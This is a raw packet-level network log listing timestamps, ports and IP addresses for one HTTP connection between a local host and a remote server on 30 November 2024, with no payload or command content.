Nov 30, 2024 05:00:05.765681028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:05.886301994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:05.886379004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:05.886646986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:06.006513119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498732090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498759031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498769045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498780012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498790979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498800993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498811960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.498825073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.498989105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.503860950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.503917933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.503946066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.503956079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.504007101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.620012999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.620165110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.620250940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.624118090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.664738894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.702861071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.702873945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.702920914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.704942942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.706497908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.706551075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.706726074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.715035915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.715075970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.715162039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.723382950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.723432064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.723531961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.731864929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.731904030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.732029915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.739115953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.739172935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.739228964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.748867989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.748878956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.748941898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.757337093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.757348061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.757386923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.765499115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.765563965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.765664101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.774007082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.774110079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.774321079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.784719944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.784800053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.784815073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.822833061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.822961092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.900778055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.900866032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.900916100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.903278112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.903379917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.903424025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.908405066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.910377979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.910424948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.910501957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.915426016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.915468931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.915499926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.920558929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.920609951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.920644999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.925699949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.925771952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.925826073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.930869102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.930911064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.930927992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.935980082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.936048985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.936081886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.941086054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.941133022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.941214085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.946330070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.946382046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.946418047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.951368093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.951416016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.951503992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.956521988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.956567049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.956594944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.960419893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.960465908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.960500002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.964359999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.964404106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.964477062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.968291044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.968331099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.968410969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.972220898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.972271919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.972307920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.976160049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.976183891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.976205111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.980038881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.980083942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.980160952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.983992100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.984036922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:08.984071970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.987838984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:08.987879038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.020895958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.020930052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.021089077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.022857904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.022969007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.023020029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.026778936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.077152967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.102018118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.102036953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.102081060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.103526115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.103646994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.103691101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.106601954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.106708050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.106750965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.109651089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.109766006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.109812975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.112704039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.112788916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.112835884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.115685940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.115802050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.115847111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.118556976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.118678093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.118721008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.121439934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.121562004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.121613026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.124377966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.124389887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.124433994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.127376080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.127511978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.127564907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.130112886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.130227089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.130270004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.132999897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.133121967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.133167982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.135900021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.136010885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.136051893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.138773918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.138881922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.138935089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.141695023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.141797066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.141843081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.144551039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.144633055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.144680977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.147440910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.147581100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.147644997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.149544001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.149661064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.149709940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.151563883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.151695013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.151742935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.153608084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.153711081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.153765917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.155638933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.155750036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.155802011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.157665968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.157774925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.157820940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.159702063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.159836054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.159873009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.161747932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.161865950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.161907911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.163769007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.163883924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.163918972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.165802956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.165951014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.166002035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.167840958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.167943954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.167982101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.169884920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.170013905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.170061111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.171910048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.172030926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.172079086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.173949003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.174024105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.174066067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.176007032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.176071882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.176112890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.186393976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.186500072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.186544895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.187405109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.187506914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.187572002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.189416885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.189537048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.189585924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.191456079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.191555977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.191600084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.193501949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.193567038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.193605900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.303169966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.303345919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.303380966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.303975105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.304287910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.304325104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.304352999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.306016922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.306057930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.306132078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.307322979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.307363033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.307394028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.309026003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.309062004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.309092045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.310726881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.310770988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.310806036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.312442064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.312494993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.312915087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.314142942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.314183950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.314235926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.315820932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.315862894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.315896988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.317478895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.317516088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.317559958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.319098949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.319148064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.319205999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.320744038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.320780039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.320849895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.322400093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.322442055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.322482109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.324021101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.324071884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.324105978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.325663090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.325701952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.325767040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.327266932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.327306032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.327383995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.328922987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.328960896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.329036951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.330553055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.330588102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.330668926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.332206011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.332242966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.332330942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.333822012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.333861113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.333926916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.335477114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.335514069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.335589886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.337105989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.337151051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.337203979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.338742971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.338788033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.338933945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.340373039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.340425968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.340461016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.341989994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.342032909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.342072964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.343635082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.343677044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.343738079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.345278978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.345318079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.345366955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.346900940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.346940041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.346999884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.348565102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.348609924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.348717928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.350188971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.350234032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.350270987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.351973057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.352036953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.352092981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.353447914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.353497028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.353563070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.355097055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.355139017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.355199099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.356731892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.356770039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:09.356844902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:09.358400106 CET	80	49732	141.8.197.146	192.168.2.4
